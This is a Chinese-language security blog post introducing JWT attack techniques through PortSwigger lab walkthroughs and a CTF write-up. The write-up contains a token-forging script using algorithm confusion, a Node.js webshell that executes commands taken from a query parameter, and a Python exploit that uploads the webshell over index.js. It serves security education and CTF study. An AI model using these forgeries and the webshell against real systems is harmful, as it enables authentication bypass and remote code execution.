初涉JWT

admin 2024年11月13日22:09:49评论6 views字数 4505阅读15分1秒阅读模式

前言

看了第一届研究生网络安全大赛 Hackthisbox 这道题,考点是JWT算法混淆攻击
感觉到自己对于JWT方面的知识点不太熟悉
于是便有了下文

目录

1.基本介绍
2.未经验证的签名
3.签名验证缺陷
4.密钥爆破
5.标头参数注入
6.算法混淆攻击

基本介绍

JWT全拼Json Web Token
由 标头(Header)、有效载荷(Payload)和签名(Signature)组成
每个段落用英文句号连接 ,这一串内容会base64加密

初涉JWT

JWT 使用
1、服务端根据登陆状态 将用户信息加密到token中,返给客户端
2、客户端收到服务端返回的token,存储在cookie中,并且每次通信都带上token,服务端解密token,验证内容,完成相应逻辑

先下载个bp插件 JWT edictor
操作比较方便些

初涉JWT

未经验证的签名

产生原因:和标题同义 简单点说,忘记验证签名了
portswigger jwt系列 lab1

初涉JWT

把原来的wiener修改为administrator
即可获得删除用户 carlos 的url 通关

签名验证缺陷

产生原因:JWT 标头的alg参数,告诉服务器使用哪种算法对令牌进行签名,当alg参数设置为none时,
可以任意伪造

portswigger lab2

初涉JWT

修改alg为none
sub为administrator
Attack -none Signing Algorithm

密钥爆破

爆破字典https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
工具:hashcat https://hashcat.net/hashcat/
指令:hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>

portswigger lab3
1.登陆当前账户提取jwt
2.hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>

初涉JWT

初涉JWT

爆出密钥 secret1

3.构造jwt
方法1:在bp插件中

初涉JWT

k值替换为base64过的密钥 即secret1

初涉JWT

初涉JWT

方法2:jwt.io

初涉JWT

右下角填入密钥

标头参数注入

通过 JWK参数/JKU参数/kid参数 注入自签名的JWT

1.JWK (JSON Web Key)使得攻击者能将认证的密钥直接嵌入token中,配置错误的服务器有时会使用嵌入在jwk参数中的任何密钥

portswigger lab4

初涉JWT

生成一个RSA密钥

初涉JWT

sub处修改为administrator
选择Embedded JWK(嵌入的JWK)

2.JKU (JWK Set URL)可以引用包含密钥的 JWK Set,验证签名时,服务器从该 URL 获取相关密钥。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token

portswigger lab5

初涉JWT

生成一个rsa密钥 选择Copy Public Key as JWK

初涉JWT

转到漏洞利用服务器 修改body 复制内容到keys中并存储

初涉JWT

3.Kid
避免服务器验证签名时出现错误所以使用kid,JWT规范中没有对这个kid定义具体的结构,仅仅是开发人员任意选择的一个字符串

portswigger lab6

初涉JWT

先生成一个对称密钥 k值覆盖为null(base64)

kid修改为 "kid":" ../../../../../../../dev/null" // dev/null代表空设备文件
修改sub为admin
点击sign选择OCT8 的密钥攻击 即可

算法混淆攻击

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法),则库的通用verify()方法会将公钥视为 HMAC 机密,公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

portswigger lab7

1.访问/jwks.json获得公钥

初涉JWT

2.将JWK转换为PEM格式
复制jwk set内容

初涉JWT

初涉JWT

Copy Public Key as PEM

3.生成新的对称密钥

初涉JWT

4.修改并签署令牌

初涉JWT

第一届研究生网络安全大赛HackThisBox

涉及知识点:JWT算法混淆攻击
给了docker和源码
分析:

api.js
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });

加密的时候用的是非对称加密RS256(RSA + SHA-256)

//app.JS
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

解密用对称加密HS256(HMAC + SHA-256)

app.use(function(req, res, next) {
if([req.body, req.query, req.auth, req.headers].some(function(item) {
console.log(req.auth)
return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});

正则

router.post('/upload', function(req, res, next) {
if(req.files.length !== 0) {
var savePath = '';
if(req.auth.isAdmin === false) {
var dirName = `./public/upload/${req.auth.home}/`
fs.mkdir(dirName, (err)=>{
if(err) {
console.log('error')
} else {
console.log('ok')
}
});
savePath = path.join(dirName, req.files[0].originalname);
} else if(req.auth.isAdmin === true) {
savePath = req.auth.home;
}

fs.readFile(req.files[0].path, function(err, data) {
if(err) {
return res.status(500).send("error");
} else {
// 任意文件写入
fs.writeFileSync(savePath, data);
}
});
return res.status(200).send("file upload successfully");
} else {
return res.status(500).send("error");
}
});

思路:伪造token设置isAdmin=true 利用fs.writeFileSync(savePath, data)覆盖index.js写入后门 (使用url编码来绕过正则)

1.伪造token

var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var path = require('path')


var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');

app.get('/', function(req, res, next) {
const token = jwt.sign({username: "admin", isAdmin: true, home: {
href: "c",
origin: "c",
protocol: "file:",
hostname: "",
pathname: "/app/%72%6f%75%74%65%73/index.%6a%73" // app/routes/index.js
}}, publicKey, {algorithm: "HS256"});

res.send({token})
})

var server = app.listen(7000, function () {
var host = server.address().address;
var port = server.address().port;

console.log("Address is http://%s:%s", host, port);
})

后门

var express = require('express');
const execSync = require('child_process').execSync;
var router = express.Router();

router.get('/', function(req, res, next) {
var cmd = execSync(req.query.cmd);
res.send(cmd.toString());
});

module.exports = router;

最终exp

import requests

sess = requests.session()
url = 'http://localhost:8082'

hearder = {"authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYyIsIm9yaWdpbiI6ImMiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6Ii9hcHAvJTcyJTZmJTc1JTc0JTY1JTczL2luZGV4LiU2YSU3MyJ9LCJpYXQiOjE2NjkzMDYzNDZ9.RdEQN3Kt0c_Fz_n9uJP3dTYZHWqdp6GoJ3Yd5YpZjl4"}
file = {"file":("./shell.js",open("./shell.js","rb").read())}

res = sess.post(url=url+"/api/upload",files=file,headers=hearder)
print(res.text)

来源先知社区的【qwertyuiop师傅

注:如有侵权请联系删除

初涉JWT

如需进群进行技术交流,请扫该二维码

初涉JWT

原文始发于微信公众号(衡阳信安):初涉JWT

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日22:09:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初涉JWThttps://cn-sec.com/archives/1654452.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息